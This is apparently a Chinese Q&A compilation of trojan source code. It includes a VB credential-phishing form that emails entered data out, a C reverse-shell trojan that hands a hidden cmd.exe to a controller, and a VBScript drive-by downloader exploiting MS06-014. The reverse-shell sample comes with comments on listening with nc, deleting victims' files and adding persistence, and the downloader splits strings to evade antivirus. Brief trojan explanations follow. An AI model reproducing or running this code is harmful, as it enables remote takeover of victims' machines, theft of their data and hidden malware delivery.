木马的代码（木马程序代码大全）
木马源代码
VB '油香接收 Private Sub Command1_Click() Timer1.Interval = 5000 On Error Resume Next f = ("xxxxxxxx") '发送邮箱 smtp = ("xxxxxxx") '发送邮箱服务器 u = ("xxxxxxxx") '发送邮箱用户名 p = ("xxxxxx") '发送邮箱密码 t = ("xxxxxxxxx") '接收邮箱 m = Text1.Text '邮件标题 msg = Text2.Text 't邮件内容 NameSpace = " http://schemas.microsoft.com/cdo/configuration/" Set Email = CreateObject("CDO.Message") Email.From = f Email.To = t Email.Subject = m Email.Textbody = msg Email.AddAttachment j With Email.Configuration.Fields .Item(NameSpace "sendusing") = 2 .Item(NameSpace "smtpserver") = smtp .Item(NameSpace "smtpserverport") = 25 .Item(NameSpace "smtpauthenticate") = 1 .Item(NameSpace "sendusername") = u .Item(NameSpace "sendpassword") = p .Update End With Email.Send End Sub Private Sub Command2_Click() End End Sub Private Sub Timer1_Timer() If Text1.Text Text2.Text Text3.Text Text4.Text = "" Then MsgBox "请先输入！", vbInformation, "提示" Timer1.Enabled = False Else MsgBox "系统已经成功审核你的数据！{你的账号:[" + Form1.Text1.Text + "]", vbInformation, "提示" Text1.Text = "" Text2.Text = "" Timer1.Enabled = False End If End Sub
记得采纳啊
求一个简单木马的源代码。必须注明每个语句的作用。只为交作业。有的百度私信我
//一个简单木马的源代码
#include stdio.h
#include winsock2.h
#pragma comment(lib,"Ws2_32.lib")
void main()
{
WSADATA wsa;
SOCKET corky;
struct sockaddr_in add;
WSAStartup(MAKEWORD(2,2),wsa);//初始化
corky=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,0,0);//创建套接字corky
add.sin_family=AF_INET;//填充sockaddr_in结构
add.sin_port=htons(918); //换成你的端口
add.sin_addr.s_addr=inet_addr("127.0.0.1");//换成你的ip地址
connect(corky,(struct sockaddr *)add,sizeof(add)); //连接控制端
STARTUPINFO si; //创建STARTUPINFO结构
ZeroMemory(si,sizeof(si));//为STARTUPINFO结构分配内存
si.cb=sizeof(si);
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;//要使用的标志位
si.wShowWindow=SW_HIDE;//隐藏cmd.exe窗口
si.hStdInput=si.hStdOutput=si.hStdError=(void *)corky;//重定向输入输出到套接字corky
PROCESS_INFORMATION pi;
CreateProcess(NULL,"cmd.exe",NULL,NULL,1,0,NULL,NULL,si,pi);//创建cmd.exe进程
ExitProcess(0);
}
//用nc监听你的918端口（nc -l -p 918）然后耐心等待对方启动木马吧！
//提示：nc在《网友世界》2008 3月光盘中winowsPE系统的外挂程序中可以找到
//如果木马启动你在nc的窗口就会得到一个带微软版权的提示
//输入dir命令看看就会看到对方目录下的所有文件信息（木马所在目录）
//用del命令可以删除他的文件了
//不过还是有缺陷就是对方可以看到有一个cmd窗口笨蛋也知道中招了哈哈..
//到时警察叔叔来找你可别怪我提醒你呦！
//你可以完善它如向系统添加启动项让它随系统启动
//最好是感染文件让它随宿主的打开而启动
//你还要完善窗口的隐藏
//本代码在XP+VC++6.0下调试通过
最简单的木马 源代码以及解释
一个完整的木马系统由硬件部分，软件部分和具体连接部分组成。
(1)硬件部分：建立木马连接所必须的硬件实体。 控制端：对服务端进行远程控制的一方。 服务端：被控制端远程控制的一方。 INTERNET：控制端对服务端进行远程控制，数据传输的网络载体。
(2)软件部分：实现远程控制所必须的软件程序。 控制端程序：控制端用以远程控制服务端的程序。 木马程序：潜入服务端内部，获取其操作权限的程序。 木马配置程序：设置木马程序的端口号，触发条件，木马名称等，使其在服务端藏得更隐蔽的程序。
(3)具体连接部分：通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP，服务端IP：即控制端，服务端的网络地址，也是木马进行数据传输的目的地。 控制端端口，木马端口：即控制端，服务端的数据入口，通过这个入口，数据可直达控制端程序或木马 程序。
网页木马代码大全
来晚了吗？……再复制一次吧……
要简洁……感觉复杂的话应该能免杀……
on error resume next '开启错误陷阱
dl = "" '定义“dl”为木马下载地址
Set df = document.createElement("object") '建立子元素
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36" 声明网马的clsid，这个是ms06014的
str="Microsoft.XMLHTTP" 使用XMLhttp对象
Set x = df.CreateObject(str,"") '用Adodb.Stream执行文件操作
a1="Ado" '下面这三个的作用是拆分字符串“Adodb.Stream”，躲过一些杀毒软件查杀
a2="db."
a3="Str"
a4="eam"
str1=a1a2a3a4 '合并字符串“Adodb.Stream”
str5=str1 '转移变量str1到str5
set S = df.createobject(str5,"") '执行文件操作
S.type = 1
str6="GET" '使用get方式获取木马文件
x.Open str6, dl, False '根据木马地址获取木马文件
x.Send
fname1="g0ld.com" '定义木马的文件名"g0ld.com"
set F = df.createobject("Scripting.FileSystemObject","") '用FileSystemObjec执行文件操作，这次是写入文件
set tmp = F.GetSpecialFolder(2) '获取临时文件夹路径
fname1= F.BuildPath(tmp,fname1) '下面这些是向临时文件夹中写入木马
S.open
S.write x.responseBody
S.savetofile fname1,2 '保存木马文件
S.close '关闭连接
set Q = df.createobject("Shell.Application","") '用Shell.Application运行木马文件
Q.ShellExecute fname1,"","","open",0 '以隐藏方式运行木马
问题补充：我真想飞起给楼下一脚~~~~~~~
什么是木马代码？木马代码是用来干什么的？
木马是编写的一种远程控制恶意程序
木马会未经用户许可
记录用户的键盘录入
盗取用户银行账户
密码等信息
并将其发送给攻击者
